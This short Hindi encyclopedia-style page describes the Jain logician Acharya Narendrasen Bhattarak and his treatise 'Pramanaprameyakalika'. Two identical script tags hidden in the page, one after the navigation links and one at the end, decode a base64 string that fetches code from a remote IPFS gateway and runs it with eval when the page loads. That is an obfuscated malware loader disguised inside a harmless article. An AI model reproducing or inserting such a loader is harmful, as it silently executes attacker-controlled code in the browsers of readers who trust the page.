नरेन्द्रसेन भट्टारक
नेविगेशन पर जाएँ
खोज पर जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
आचार्य नरेन्द्रसेन भट्टारक / Acharya Narendrasen Bhattarak
- इनका एकमात्र न्याय-ग्रन्थ 'प्रमाणप्रमेयकलिका' है।
- इसमें तत्त्व-सामान्य की जिज्ञासा करते हुए उसके दो भेद-
- प्रमाणतत्त्व और
- प्रमेयतत्त्व बतलाकर उनका समीक्षापूर्वक विवेचन किया है।
- कृति सुन्दर और सुगम है।
- हमारे सम्पादन के साथ यह भारतीय ज्ञानपीठ से प्रकाशित हो चुकी है।
- ग्रन्थकार का समय वि0 सं0 1787 है।
सम्बंधित लिंक
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>